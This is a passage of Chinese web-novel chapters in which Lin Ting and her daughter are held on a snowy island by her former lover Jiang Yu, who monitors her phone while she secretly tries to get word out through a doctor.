就在江遇无比欣慰,终于能看到柚子的笑容时,小妮子突然耷拉着脑袋,沉沉地叹了一口气,“妈妈,可是我还是好想爸爸。” 江遇刚刚露出的欣慰笑容,戛然而止。 风雪吹散了他的笑容,吹得他心里拔凉拔凉的。 林听摸了摸柚子的脑袋,“你想爸爸了,到地方了,就去给爸爸写信,告诉爸爸你看到了雪。等回去见到爸爸,把这些信拿给爸爸。” 柚子乖乖点头,“好!” 随即跟着妈妈一起,在佣人的带领下,上了一辆车。 车子开往岛上的城堡。 这一段路,林听望着车窗外的鹅毛大雪。 也不知道这是什么地方,这才十月中旬,就下起了如此大的雪。 她是一个土生土长的南方人,从小到大还没有见过雪。 很早以前,她就想去下雪的地方。 那个时候,盼着和江遇一起,能够带着他们的孩子,到下雪的城市度一个长长的假。 现在江遇和孩子都在身边,林听却早已没了当时的心情。 她一点也不高兴。 这个时候,她在想,这到底是哪里?整个岛上的人,都是江遇的人吗? 周自衡能不能够找到她们母女俩? 这个时候的周自衡,又在干什么,吃饭了吗?着急吗?担忧吗? 一日不见,如隔三秋。 她和柚子离开鹏城,在海上的行程差不多已经七天了。 七天,漫长如七年。 司机在雪花漫天中,缓缓前行。 江遇就坐在她的旁边。 一只温暖的大掌,忽然落在林听的手背上,“对不起,迟了这么多年,才带你到下雪的地方。” 大掌下,那只纤细白皙的手,很快抽开了,“我一点也不感动,反而很讨厌你自以为一往情深的举动。” “我有自知之明。”江遇把话接过去,道,“我知道。但是没关系,慢慢的,你会喜欢上这里的。” 半个小时后,一辆黑色的加长版林肯,停在一座堆满积雪的,白茫茫的城堡前。 很快有佣人,上前拉开了车门。 坐在车窗边上的,是柚子。 那佣人打着一把漂亮的伞,弯了弯腰,笑着对柚子说道,“柚子小姐,欢迎回家!” 柚子从小就不在江遇的身边。 他从来没有给过柚子安稳和舒适的生活。 从今往后,他要把柚子宠成一个快乐的小公主。 可是柚子一点也不喜欢被别人称呼为柚子小姐,她习惯了洒脱自由的生活。 她没给那个佣人好脸色,因为他是江遇的人。 林听下车的时候,江遇也在她的头顶,打了一把伞。 雪越下越大。 林听却离开了江遇打着的那把伞,独自牵着柚子,走进了城堡。 进城堡之前,有一个玻璃花房,里面开了暖气。 温度不冷,不热。 花房里,种满了各种颜色的洋桔梗,数量最多的,是紫色洋桔梗。 在一片白色的洋桔梗中,又有一个大大的心形紫色洋桔梗。 紫与白相撞在一起,配色鲜艳。 浪漫如童话。 如果这件事情发生在六年前,林听一定会很感动。 可是此时此刻,说什么都晚了。 这些在大雪里,开在温室里的洋桔梗,她一点也不喜欢。 偏偏这个时候,江遇在旁边轻轻地搂住了她的腰,“喜欢吗,这些花是一个月前,我亲自为你种下的。这边天气寒冷,这批洋桔梗能活下来,我花了不少心思。” 第170章 还想和她生孩子 林听扬起浓密的睫毛,望向那片玻璃花房里,开得正是烂漫的各色洋桔梗。 她最喜欢洋桔梗。 自然对洋桔梗的生长环境,无比熟悉。 这种花,适宜在温度15-28度,并且光照充足的生活环境里生长。 江遇能在这片十月中旬就下起鹅毛大雪的岛屿上,种活这片洋桔梗,实属不易。 而且它们开得那样烂漫。 玻璃花房外,雪一片又一片地落下来。 一房之隔,外面是冬天,里面却春暖花开。 换作哪个女孩子能不感动? 可是林听扬起浓密的睫毛,看向江遇时,瞳仁里却露出一片反感的情绪。 “江遇,有句话我都懒得再说了。可是我还是想再说一遍:迟来的深情比草贱。” “你曾经爱着的那个林听,早就死在抢救室了。” “现在站在你面前的林听,是被周自衡千辛万苦救回来的。” 她知道,周自衡能够在被判死刑,还能成功越狱,又成功翻案,完全是因为她。 周自衡没有人们想象中那么强大。 他也有撑不下去的时候。 他能够撑到越狱,完全是因为他心中还有一个需要被他保护的女人,一直成为了他变强变大的动力。 这些不需要周自衡向她表白,她已经在周自衡为她做过的所有事情中,深深的感受到了。 再看玻璃花房里,那些种满的鲜艳的洋桔梗,只觉得可笑。 它们没能让林听为此伫足。 也没能让林听多看几眼。 她很快抽开了目光,“带我和柚子去我们的房间,一路上我和柚子也累了。” 从林听兴致寡淡的目光中,江遇感受到了深深的挫败感。 她不是最喜欢洋桔梗吗? 在这极寒的天气,他为她种出了她喜欢的洋桔梗,她一点也不高兴,反而还如此反感。 心里的失落说不出来。 但江遇还是露着耐心的微笑,“没关系,这些花我还是会种着。也许突然有一天,你就又喜欢了呢。走吧,我带你们去你们的房间。” 从花房离开后,江遇领着母女俩上了楼。 二楼,他为柚子特意准备了一间儿童房。 房间很宽敞,里面布置得粉粉嫩嫩的,有许多艾莎公主的设计元素。 因为江遇知道,柚子最喜欢艾沙公主。 “柚子,以后这就是你的房间了。爸爸特意为你准备的。” “隔壁还有两间儿童房,以后留给弟弟妹妹住。” 来柚子的这间儿童房时,林听已经见到了另外两间儿童房。 一个女孩房,一个男孩房。 加上柚子这间,是三间儿童房。 这个男人,想得还挺美! 他是笃定了,要让她再给他生两个孩子? 同时,林听又觉得江遇好可怕。 他把未来的事情,安排得如此周全,是彻底不打算放到她离了? 柚子没有回答江遇。 江遇随手拿起一个超大的艾落公主抱枕,递到柚子面前,“柚子,喜欢吗?” 柚子冷哼了一声,“我都说了我不喜欢你当我的爸爸,你的脸皮真厚。” 江遇深吸了一口气。 抱着艾莎抱枕的手,紧紧一攥。 入目之处,小丫头整张脸冷冰冰的,丝毫不给他好脸色。 站在旁边牵着柚子小手的林听,依然如此。 林听突然觉得,如此厚脸皮的江遇,真的像个小丑。 没有人会在意他所做的这一切。 “带我去我的房间看一看。” 那间为林听准备的房间,很宽敞。 江遇带林听走进去后,道,“这是我们的房间。” 一眼望去,有一个半隐藏式的衣帽间。 因为门敞开着,一眼就能清晰地看见里面挂满了男人和女人的衣服。 整整齐齐的,十分有家的味道。 林听却对旁边的陈叔和吴婶说,“陈叔吴婶,麻烦你们帮我把衣橱里女士的衣服,拿到柚子房间。我和柚子睡。” 吴婶和陈叔没有应声。 他们看了一眼江遇。 江遇没吱声,二人便没有去整理衣服。 林听知道陈叔和吴婶很为难,有江遇在,什么事都得听江遇的。 他们不敢去拿她的衣服,她便自己去拿,一件件取下来,抱在自己的怀里,“柚子,帮妈妈拿上这些,回你的房间。” 她有多固执,江遇是领教过的。 他阴沉着脸色,看向陈叔和吴婶,“去帮忙!” 来都来了。 林听和柚子就是插翅也难飞。 他有的是时间耐心等待。 手中的一大抱衣物被吴婶抱走后,林听来到江遇的面前,伸手一摊,道: “我的手机被你收走了,总要给我一部手机。” 江遇朝身边的小陈使唤了一个眼色。 小陈拿了一部已经装好电话卡的手机,手机壳是女生款的,很漂亮,递到林听的手里,“太太,这是江先生特地为你准备的。” 林听按亮手机屏幕。 上面有屏保设置,提示要她输入密码。 旁边的江遇提醒,“密码是你高考后的那个晚上的日期。” 林听记得那个日期。 那是她不愿意回忆的日子,但它就是刻在脑海里。 高考是十二年前的6月9号结束的。 而他们俩偷尝禁果的日子,就是高考结束后的第二晚,6月10号。 不管它刻在记忆里有多深刻,林听还是装作不记得的样子,冷冰冰说,“不知道你说的日子,你把密码给我取消了。” 她把手机,递还给江遇。 江遇没有接,“你知道的。” 林听像是故意要刺激江遇,冷冷说,“我不知道。” “你知道。” “我说了我不知道,就是不知道。江遇,你不要以为是谁都会把过去记得清清楚楚。那些糟糕的过去,我一点也不想记得。” “你记得。” 她都记得。 只是她不愿意承认而已。 最终,那只递到江遇面前的手机,他还是没有接过去。 也没有为林听输入解锁密码。 他沉着脸色,道,“我可以允许你暂时和柚子睡一个房间,你带柚子去好好休息,我下楼去准备午饭。” 这里请了很多佣人。 可是江遇还是打算,亲自为母女俩准备午饭。 他走后,林听长长的睫毛垂落下来,难掩无可奈何的情绪。 这个男人的毅力,远比她想象中还要好。 可她讨厌这样的死缠烂打。 “妈妈,我们要在这里住多久?” 她拿着江遇给的手机,回柚子的儿童房,“妈妈也不知道。” “虽然我很喜欢这里的雪,可是妈妈,我一点也不想呆在这里。我好想回爸爸身边。” “妈妈跟你一样的。” 她好想回到周自衡的身边。 回到房间后,她带着柚子一起泡了个热水澡。 吹干柚子的头发后,她躺在床上,拿起了江遇给的那个手机。 屏幕上跳出一个提示,还是要她输入解锁密码。 那个密码她记得。 输入之后,许多往事又翻涌在脑海里。 江遇就是故意的。 故意要弄这么一串早已被她放下的回忆,来恶心她。 新手机里,江遇已经替她保存好了江遇和陈叔吴婶,还有一些紧急联系人,医生,保镖的电话。 还为她申请的新的微信。 微信通讯录里的第一个人是江遇。 她和江遇的头像,是一组情侣头像。 是她进监狱之前,她和江遇一起拍的照片。 两人站在金色的海滩上,脚下踩着朵朵白色浪花,两人手牵着手的背影。 两张照片,背景一样,两人手牵手的画面也一样。 不同的是,江遇的那张,林听偷偷亲吻了江遇的侧脸。 而林听的这张微信头像,则是江遇偷偷亲吻了林听的侧脸。 这张微信头像,从他们高中一直用到林听进监狱之前。 就在林听改掉自己的微信头像后,正准备要给江遇发消息时,江遇的第一条微信消息,弹了出来。 他问:记起密码了? 林听正在输入。 江遇又问:给你准备的新手机,喜欢吗?这些照片,我一直保存着,你的相册里还有很多。 林听立即回复:明知故问。我不喜欢,非常不喜欢。 过了一会儿,她又发送:密码我改了,照片我也删了。 江遇:慢慢删,我这里还有很多。 整个手机相册,全是她和江遇过去的照片。 林听一张一张删,怎么也删不完。 她操作着相册,点了一次又一次的删除。 不知道江遇设置了什么,竟然不能批量操作。 这个男人,是逼她被迫回忆过去的点点滴滴。 页面往下滑时,竟然跳出一张露骨的照片。 那是她躺在江遇的怀里,一只胳膊压着被子,一只胳膊抱着他,露出又瘦又白的一片锁骨的,依偎在他结实有力的胸膛前,沉沉睡过去的照片。 照这样张照片的时候,江同笑得幸福而满足。 那个时候的江遇,青春洋溢,不像现在这般沉稳。 许多林听不愿意去回忆的过往,如一幅又一幅画,一张又一张的浮现在她的脑海。 索性,不删了。 她差点被江遇带偏了节奏。 拿到这个手机,她不是想回忆不堪的过去的。 她只想试试,能不能联系到国内的人。 周自衡的电话号码,她记不住。 她试着拨了拨国内的救援电话。 不出她所料,拨不出去。 她又试图,在网上搜索了一些怎么设置手机,能让手机不被通话限制的办法。 结果,都没有用。 旁边的柚子,等累了,趴在她面前,托着下巴,问,“妈妈,还是不能给爸爸打电话吗?” 林听又是一番操作,“那个讨厌的人不仅是学医的,还是黑客高手。他要是设定了什么程序,妈妈解不开,这个手机能打的就那么几个电话。” 柚子耷拉着脑袋,“那怎么办啊,我好想爸爸。” “柚子,别丧气。”林听放下手机,揉揉柚子的脑袋,“爸爸比那个讨厌的人厉害很多,他肯定有办法找到我们的。” 林听再拿手机。 这一看才知道,之前被她换掉的微信头像,不知何时又换回成了江遇设定好的,她和江遇在海边拍的那张合照。 这个男人,是铁了心非要拿过去的事情来绑架她。 她偏要跟江遇较劲。 拿着手机,拍了一张和柚子的合照,又把头像给换掉了。 这时,房间门口传来敲门声。 叩了几声,江遇推开门来,站在门口,温柔地看着母女俩,“午饭做好了,可以下楼吃饭了。” 人是铁,饭是钢。 林听可不会带着柚子饿肚子。 既然来了,她决定先好好照顾好自己和柚子。 一切,从长计议。 一桌子五个菜,一个汤,一个饭后甜品,还有一盘水果。 都是中餐。 有柚子喜欢的糖醋排骨。 江遇给柚子夹了一块,柚子拿筷子一挡,“我自己有长手,不用你来。” 那块被柚子挡开的排骨,江遇想夹到林听的碗里,林听也拿筷子一挡,“我也有长手。” 江遇深吸一口气。 另一只手,紧紧一攥。 他把排骨夹到自己碗里,“给你的手机做了加密设置,只能定向联系你通讯录里的那几个人。你不用白费心思。” 林听一拍筷子,脸色黑沉沉道,“江遇,你把我当犯人了吗?连我手机操作了哪些内容,你也要监视。我到底有没有人权?” 江遇优雅又从容地挑起一口白米饭,“等你哪天想好了,重新给我生个孩子,我们一家人安稳地生活在这里,我会让你联系你想联系的人。” 林听气得吃不下饭。 胸腔处似堵了浸水的棉花。 对面的江遇,不疾不徐道,“况且,周自衡还要给我们当伴郎。到时候你不联系他,我自会联系他。” 这个决定,是他们许多年前就定好的。 他们的婚礼,江书臣和周自衡,一定要当伴郎。 这些,江遇都记得。 江遇见林听放下了筷子和碗,他往她的碗里,夹了一块香煎雪鱼,“吃饭!” 林听再是生气,也不能拿自己的身体开玩笑。 她决定养精蓄锐。 因为她和江遇之间,即将拉开一道很长的战线。 如果不把自己的身体养好,不好好吃饭,她斗不过脸皮比城墙还厚的江遇。 拿起筷子,她大口吃饭,又给柚子夹了一块她喜欢的糖醋排骨,“柚子,吃饭!” 江遇看着两母女,淡淡开口,“岛上的学校我已经联系好了,等过两天柚子适应这里了,我会安排她入学。” 第171章 你简直有病 林听坐在餐桌对面,刚刚调整好情绪,好好吃饭。 江遇一句话,让她什么心情也没有了。 连岛上的学校他也早就联系好了,这是准备长期把她和柚子困在这个岛上? 她长长的睫羽轻轻一垂,瞳仁里难掩愤怒的情绪。 可是无论她说什么,做什么,这个男人也不会放她离开此地。 只能深深吸一口气,攥紧筷子,当作没听见江遇说什么,继续扒着碗里的白米饭。 吃饭的时候,林听特意留意了一下。 伺候在旁的佣人,看不出是哪个国家的人。 他们的皮肤比非洲人白,但又比白种人黑,非黄种人,牙齿白白的。 林听实在难以通过这些佣人,来判断她身处哪个国家。 都怪她上学的时候,很讨厌地理。 她根本不知道地球上哪个国家,哪个岛屿,能在十月中旬的天气,就漫天飞雪。 餐厅里,她和柚子还有江遇,以及佣人们,穿着单薄。 可落地窗外,大雪纷飞,下个不停。 这不仅是这十月中旬提前而来的浓冬,这也将是她人生中最严寒的冬天。 林听觉得,这样的日子哪怕锦衣玉食,却依然比她在监狱里的那段日子还要难熬。 她的目光由远及近,望向飘着雪花的天空远处。 不知道那个方向是不是东方。 远在东方的周自衡,还好吗? 浓浓的愁绪在她拧成结的眉心里,如同外面的冰天雪地一般,化也化不开。 那愁绪里,也夹杂着她对周自衡深深的思念。 她给柚子又夹了一块排骨,叹一口气道,“不知道你爸爸在国内,吃饭了没有。” 对面,夹着菜的江遇动作一动。 他深吸一口气,紧攥着筷子,“你不用在我面前表现得如此关心周自衡的样子,我不会在意的。” 林听抬起眼眸,瞪了江遇一眼,“你以为我对周自衡的关心,需要刻意表现出来吗。那是刻在骨子里的一种对爱人的牵挂,你不会明白。” 如果这个男人但凡能够明白,什么叫做对爱人的牵挂,就不会在她身处监狱的时候,对她不闻不顾。 狗男人还好意思说,他心里一直有她,一直为她守身如玉? 想想就觉得可笑。 那几年她和柚子所受的所有苦难,都是拜这个男人所赐。 今时今日,不管江遇说什么,做什么,她丝毫都不会领情。 饭后,林听带着柚子去穿了厚衣服。 外面冰天雪地。 她给柚子戴上了厚厚的帽子,围上了围巾,厚厚的手套。 两母女在屋外看雪景。 见到一个肤色不黑不白,牙齿白白的女佣时,林听试图用英语和对方交流。 对方比划了半天,说的全是林听无法听懂的语言。 林听可以很肯定的判断出来,那不是英语,也不是她知道的任何一种语言。 一定是她从未听闻过的小语种语言。 本来想着,能不能贿赂这些佣人。 就算他们是江遇花钱请来的,总会有贪钱的,能给她一些突破口吧。 可是她和这些佣人,连最基本的交流也无法进行。 这突破口,是无法进行了。 正是哀声叹气,女佣忽然恭恭敬敬地朝身后的人行了一个礼。 也不知道这是什么礼数。 随即,见身后的江遇,用林听同样听不懂的话语,和女佣交流了几句。 很快,女佣朝他们三人行了一个礼,识趣地退下去了。 不一会儿的功夫,江遇头顶已经有一片白茫茫的雪花。 她和柚子也一样。 江遇踩着嘎吱嘎吱的积雪,一步一步,来到她和柚子的面前,“你不用费功夫,这些人听不懂你说什么。” 林听试探性地问,“他们说的是什么话,我确实是一句也听不懂。” 江遇站在面前,淡淡道,“你也不必套我的话。就算你知道他们说的什么语种,也没有机会联系到周自衡。” 心思被拆穿,林听沉沉地叹了一口气。 这里确实是冰天雪地的。 他们的每一口呼吸,面前都会飘过一阵白色的气体。 漫天大雪似乎没有要停下来的意思。 如果早在几年前,见到这场大雪,她一定会高兴坏了。 江遇同样望着这片轻轻飘扬的漫天雪花,不由感叹了一句,“那时候你说过,要是能一起在雪天里漫步,走着走着就能白了头。这句话,我一直记着。” 林听毫不客气怼回去,“做你的白日梦去吧,我是不会和你共白头的。” 怼完江遇,林听牵着柚子,往回走,“走,柚子,我们回去睡觉。” 两母女踩着厚厚的积雪,一大一小的身影,一脚深,一脚浅,渐渐消失在了江遇的视线里。 而江遇,久久地站在雪地里,孤独地欣赏着这场迟了十年的雪景。 那留在雪地里的大小脚印,像是踩踏在他心中的伤痕一样。 回去的时候,他踏着林听的脚印,一步步,走着她走过的路,假装以为只要这样,就能和林听夫妻同心。 可是走着走着,连他自己也觉得自己十分可笑。 …… 林听回到柚子的房间时,发现床头柜上,多了一对陶瓷娃娃。 很眼熟。 还是那对,已经被她摔碎过两次的陶瓷娃娃,一男,一对。 上面刻着:赤绳早系,白首永偕。 她不知道每一次摔碎它们,江遇是如何修复的。 他确实很有能耐。 手艺也很巧。 可是见到这对陶瓷娃娃,林听胸口一阵窒闷,这男人真是没完没了的自以为自己很深情。 她拿起那对陶瓷娃娃,开了窗,直接扔出去。 楼外,啪嗒一声。 一对陶瓷娃娃摔在雪地里,碎了。 林听丝毫不心疼,干脆利落地关了窗户。 晚上,江遇带来了一箱子的童话书,一一摆在柚子窗边的一排书柜。 他看向躺在被窝里准备睡觉的柚子,温柔地问,“柚子,你喜欢听哪本故事,爸爸讲给你听。” 柚子语声冷冰冰的,“只要是你讲的,我都不喜欢听。” 一句话,让江遇翻找着童话书的手,僵在书柜的每个格子里,一动不动。 但他还是精心地挑选了一本《猜猜我有多爱你》。 这是一本很温馨的亲子绘本。 里面是一段又一段的,大兔子和小兔子的对话。 江遇坐到了柚子的床头,温柔地念了一段。 手中的绘本书,却突然被柚子抽走,扔到床边的地毯上,“你这样很烦的,就像怎么甩也甩不掉的狗皮膏药。” 江遇深吸一口气。 攥紧的指节,隐隐发白。 何止是窗外在下着雪,江遇的心间也飘着雪。 他问,“柚子,你就这么讨厌爸爸吗?” 柚子不再看他,“明知故问。” 这样的气氛让人心情压抑,林听也不想让江遇老是来烦着柚子。 她把地上的书捡起来,“今天的睡前故事,我来给柚子讲,你出去吧。” 江遇不甘心,也不气馁。 因为他知道,这世有个词叫日久见人心,叫滴水可穿石,叫有志者事竟成。 他收拾了自己痛苦的情绪,耐着性子,温柔道,“那爸爸明天再来给你讲故事。” 没有得到柚子的回复,江遇很尴尬。 他起了身,识趣地离开。 目光不经意间,暼见床右侧的床头柜,空落落的。 他特意摆在那里的那对陶瓷娃娃,不见了。 望向坐在床上的林听,他压着怒意,问,“那对陶瓷娃娃呢?” 林听翻开绘本,准本给柚子讲故事,“扔了。” “扔哪里了?” “就扔了。” 垃圾桶里,没有被扔掉的陶瓷娃娃。 那么很有可能,已经被林听扔到窗外去了。 江遇像是发了疯似的,穿着在室内穿的单薄的衣服,下了楼,跑出去。 外面冰天雪地,寒风刺骨。 陈叔见他如此衣着单薄跑出去,赶紧拿了个外套追出去,“江先生,你在找什么呢?” 林听窗户外,正对着那片玻璃花房。 花房上面,堆积着厚厚的积雪。 江遇拿梯子,爬上去,顶着漫天大雪,在积雪里翻找着。 玻璃花房下,陈叔焦急如焚,“江先生,你这样会被冻坏的,你到底在找什么,你告诉我,我让人帮忙一起找。” 江遇一声不答。 雪下得有多大,他不知道。 风又有多刺骨,他也不知道。 他只知道,他最在意的那对陶瓷娃娃,被林听扔到窗户外了。 他赤手空拳,一下又一下地刨开厚厚的积雪。 陶瓷娃娃的踪影,依然寻不见。 实际上,林听扔掉那对陶瓷娃娃的时候,是有抛物线的。 它没有落在窗户正下方的花房一角。 而是落在了最底下的雪地里。 江遇找不到陶瓷娃娃,看到围观的佣人,用陈叔听不懂的小语种,询问着那对陶瓷娃娃的下落。 说话间,他比比画画,比出陶瓷娃娃的大小。 其中一个长头发的胖女佣,想起来了。 可是已经晚了。 她已经把陶瓷娃娃,扔进垃圾桶了。 今日的垃圾,已经全部被收走了。 陈叔和吴婶,还有小吴,也听不懂江遇和这些岛上的佣人在说什么。 只见江遇穿着单薄的衣服,坐上一辆车,匆匆忙忙离开了城堡。 林听听闻下面的动静声,来到窗前低头一看时,只见一辆黑色的轿车驶离城堡,消失在大雪纷飞的夜色中。 第二日清晨。 林听和柚子下楼吃早餐的时候,没有见到江遇。 林听随口问了一句,“陈叔,那个人呢?” 她讨厌江遇,已经讨厌到,不愿意在陈叔面前叫出江遇的名字了。 陈叔知道那个人指的是江遇,他叹一口气,答,“江先生高烧烧到四十一度,医生刚刚走。昨天晚上,也不知道是怎么了,他穿着单薄的一件衬衣在雪地里一直刨着什么东西,后来又开车出去,去了镇上的垃圾回收站。” 林听知道,这个男人是在找被她丢掉的陶瓷娃娃。 不知道说他执著,还是说他自作多情。 那对陶瓷娃娃,对她来说已经毫无意义了。 不管他修复多少回,都是于事无补。 林听只是随口一问,“烧退了吗?” “你这是在关心我?” 男人的声音,带着浓浓的鼻腔,低低的,哑哑的。 那是高烧后,被烧坏了嗓子,鼻腔也被堵住了的声音。 林听抬头,见到一脸病态的江遇,她没应声。 江遇坐下来,“我就当你是在关心我。” 林听埋头喝着热牛奶,“我只是随口一问。” 江遇答得风马牛不相及,“那对陶瓷娃娃,我找回来了。被收垃圾的运到了镇上的垃圾回收站,可是我还是找回来了。” “它对你很重要吗?” “重要。” “可是它对我来说,已经只是一堆垃圾了。不管你找回来多少次,修复多少次,我都不需要它了。江遇,就像我已经不需要你了一样。你明不明白?” 江遇没有应声。 他自己舀了一碗暖乎乎的小米粥。 烧到四十一度的他,还没有退烧,这会儿头重脚轻。 虽然吃了药,但退烧药没那么快见效。 他要好好吃饭,好好养身体,才能好好地照顾他们母女俩,“没关系,只要对我来说,它很重要,就够了。” 林听:“你简直有病!” …… 柚子原本不愿意在岛上就学。 可是照着江遇如此禁锢他们的决心,一时半会儿,两母女是没有办法离开这座岛了。 林听不想让柚子耽误了学业,也想让柚子去学校里,看能不能找到什么突破。 柚子只会中文。 江遇给柚子安排的学校,总是会有能说中文的老师吧。 十日后,林听和柚子商量好了,要去岛上的学校上学。 这一天,柚子从学校回来。 林听把柚子带回房间,知道江遇会装监听器,她在纸下写下一段话: 怎么样,柚子,在学校问到这座岛是哪个国家的了吗? 柚子摇摇头,在纸上写下:妈妈,老师是个漂亮的黄皮肤阿姨,会说中文,也很温柔,但是她什么也不肯告诉我。她还劝我好好留在这里,她说那个人很爱我,要我原谅他。 那个人,指的是江遇。 柚子又写:我上课的时候,教室里有好几个保镖盯着我。就算老师肯帮我,也不敢的。 闻言,林听沉沉地叹了一口气。 这座岛屿,就像是一座囚牢,彻底囚禁着她和柚子,这种日子,生不如死。 第172章 别走! 窗外又下雪了。 林听和柚子来到这座不知名的岛屿已经有大半个月的时间了。 这大半个月里岛上断断续续下着雪。 外面的积雪已经比来时还要更厚了一脚踩进去能盖到膝盖处。 柚子今天放学回来的时候帽子和衣服上全是雪花整个人仿佛放进冰箱里被冻过一样。 小手小脸蛋全是冰冰凉凉的。 等柚子写完纸上的内容 这会儿屋子里开了暖气好一会儿女儿的手才暖过来。 林听望着窗外的雪景。 厚厚的雪花压在枝头风一吹摇摇晃晃地坠入白茫茫的地面。 远近的风景都被这白茫茫的积雪给覆盖着。 仿佛置身于童话世界。 许多年以前林听就想到这样积雪铺天盖地的地方好好地度个长假。 然后和心爱的人一起走在大雪纷飞的天空下手牵着手一起走啊走啊。 走着走着就能白了头。 可是此时此刻她心里只想着远在鹏城的周自衡。 如果这个时候周自衡能在身边有多好? 他可以带着她和柚子一起在雪地里堆雪娃娃。 那个她想要和他一起走着走着就能共白头的男人再也不是江遇了。 她捧着柚子刚刚暖起来的小手整个脸色一筹莫展。 柚子也很担忧“妈妈我们是不是要永远被困在这个岛子上了?我好想爸爸。” 林听摸了摸柚子的脸蛋舒展双眉不由安慰“我们一定能回去和爸爸团聚的会有办法的。” 可是她不知道这是哪个国家的哪个岛屿。 岛上的每个佣人皮肤比非洲人白又比白种人更黑不是黄种人根本分辨不分是哪个国家的人。 他们说的话是罕见的小语种语言。 林听完全听不懂。 来到这里大半个月除了柚子能去学校以外她像是与世隔绝完全没有机会接触城堡外的世界。 每天都有保镖和佣人看着她。 日子就这样又过了一个礼拜。 这个礼拜江遇生了一场很重的病。 因为林听将江遇第三次修复好的陶瓷娃娃给扔了江遇穿着单薄的衬衣冲进雪地里一直找着那对陶瓷娃娃。 又不顾风雪 他在冰天雪地只穿着单薄的衬衣呆了三四个小时。 回来的时候已经是夜半了。 这一风寒入体严重感冒高烧烧到42度。 岛上的救护车前前后后一共来了三回。 这是救护车第三次开进城堡。 林听远远看着那辆救护车车上走下来的每一个医护人员她都仔细观察着。 忽然一个高高瘦瘦黄皮肤戴着眼镜里面穿着白大褂外面穿着黑色过膝羽绒服的男医生从救护车上跳下来急急忙忙往偌大的城堡大厅里面走很快上了楼去到江遇地房门外。 林听的目光一直尾随着。 直到瞧不见她还盯着那个方向蹙眉沉思着。 黄皮肤的男医生会不会中文? 虽然他是岛上的人江遇肯定早就花钱打点过但是如果她找到他帮忙给他金钱诱惑他会不会帮忙联系国内的周自衡? 她不敢冒这个险。 江遇已经像看犯人一样看着她她要是再冒险江遇只会更加戒备。 但她太想离开这个鬼地方早点回到鹏城和周自衡团聚。 最终还是冒险一试。 她把写好的纸条揣进包包里借着去江遇的房间里“探望”江遇的机会悄悄带了进去。 江遇高烧四十二度一直未退。 他整个人处于半昏迷半清醒之中。 “江先生您还是和我们一起上救护车去医院吧?” 那个黄皮肤戴着黑眶眼镜的医生竟然用中文和他交流? 林听实在惊喜! 太好了。 来岛上二十多天终于能够找到一个会说中文的人了。 意识模糊的江遇摆了摆手“你给我输点液头孢曲松钠加**。” 他自己也是学医的。 这个时候还能清晰地说出输液的药名可见他脑子还是清醒的。 林听更加谨慎地捏了捏揣在衣兜里的纸条。 听闻江遇 这虚弱的声音,她没有半点心疼,活该的。 但她表面上装着心软下来的样子,走到床边,问了一句,“江遇,你怎么样了?” 江遇抬了抬沉重的眼皮,看到眉心终于不再紧崩着的林听,以为是自己产生了错觉。 看清是林听,那疲惫病态的双眼,终于有了一丝欣慰的笑意,“你是在关心我?” 就算假情假意,林听也说不出关心在意他的话,这个男人是生是死,都跟她没有任何关系了。 见他病得这般重,她心里没有泛起一丝波澜。 关心和心疼,那是不可能的事情。 只是他还是柚子的父亲,不希望他真的就这么**。 她走过去,拭了拭他的额头。 烫得吓人。 这得烧到四十度以上了。 难怪江遇病病怏怏的,整个人像是已经被霜打死的茄子,完全蔫了。 她落在江遇额头的手,正要抽开。 忽然被一只滚烫的大掌,紧紧握住。 下意识地想要挣扎,却**遇禁锢得更紧。 大掌滚烫灼人,灼得林听全身紧崩。 曾经她最喜欢的男人,让她感觉到最温暖的大掌,如今也是她最抵触的。 “听听,不要离开我!” 江遇拉着她的手,落在自己的脸颊,紧紧贴着。 感受着她掌心里的柔软,他的眼角滑出清凉的泪水,“听听,你要怎样才能原谅我?” “你发高烧了,再不退烧会有危险。”林听假意安抚他,“乖一点,我看看医生带来了什么药,我亲自给你输药。” 她欲抽走,男人满眼乞求,“不要离开我。” 她继续假装安抚,“乖,我给你输药,你才能好起来。” 男人仍旧不松手,她摸着他的额头,继续假意安抚,“乖一点,你不输药,我真的不理你了。等你好起来再说。” 这时,男人才像个小孩子一样,松开了手。 她故意接近那个黄皮肤的,会说中文的男医生,假装看了看他带过来的退烧药。 药品名全是她看不懂的文字,她用中文和男医生交流了一阵,确定那就是退烧药后,朝男医生说了声谢谢。 又说,“我也是学医的 ,我来给他输药吧。麻烦你把那个递给我。 趁着男医生递给她输液用的一次性针头时,她将早就攥在掌心里的纸条,塞进了男医生的掌心里。 黑眶眼镜男医生,感知到掌心里的东西,看了她一眼。 她露出一个拜托的神情。 男医生与她四目相对,过了两秒钟,这才将手心里的纸条塞到自己的衣兜里。 他没有当面拆穿她,林听终于松了一口气。 然后回到床边,开始支起架子,为江遇输液。 大约过了半个小时,林听站在江遇的窗户边上,瞧着救护车车轮,在积雪中缓缓驶离。 她把所有的希望,都寄托在了那个男医生的身上。 她是她在这里,唯一能联系到外面的人。 外面的雪,依旧下个不停。 压在窗外的树枝上,厚厚的,像是全部压在了林听的心间,沉沉的。 腰间忽然一阵滚烫。 男人双臂环绕,将她禁锢在怀里,滚烫的呼吸来到她的耳畔边,“听听,让我好好抱抱你。 林听全身紧紧一崩,下意识地想要挣扎,男人在耳畔边哀求着,“听听,别推开我,让我好好抱抱你,可以吗? 哀求的声音,让林听没有半点心软。 可是刚刚她装出了假装关心他的样子,在没有得到那个男医生的帮助之前,她不能露出破绽。 只好硬着头皮,又哄了一声,“你回血了,快躺到床上去。 一根长长的输液管,在床顶支撑架和他的手背间,紧紧崩着。 直到她拉着他来到床边,这才不至于被硬生生扯断。 见他输液的地方回血,她坐下来帮他处理。 看似细致关怀,其实却想着那个男医生到底会不会帮她? 江遇抬着沉重的眼皮,满眼迷恋地看着她,“听听,其实你心里还是很在意我的,对不对? 林听没有正面回答,处理完,把他的手盖回被子里,“你需要好好休息。 “别走。 “我不走,我就在这里。 男人不知是何时睡着了,林听这才从他的掌心里抽了手。 救护车虽然走了,可是留下来两个医护人员。 林听和他们比比划划,半天无法交流,旁边的杰西走上前,“太太,你去休息吧,这里交给我和这两个医护人员。” 杰西是那日和江遇一起,带走柚子和落落的蓝眼睛外国人。 是江遇花高价雇的,和他签了生死协议的。 就是这个男人,每天盯着林听和柚子的一举一动。 他会说中文。 与杰西那双蓝蓝的眼睛对视时,林听有些心虚。 不知道杰西有没有发现她递给黄皮肤男医生的那张纸条。 她起身,点了点头,“你们好好照顾江遇。” 柚子去幼儿园上学了。 她一个人呆在城堡里,实在是又闷又无聊。 江遇生着病,却知道她喜欢花艺,让人送来了各种各样的鲜花。 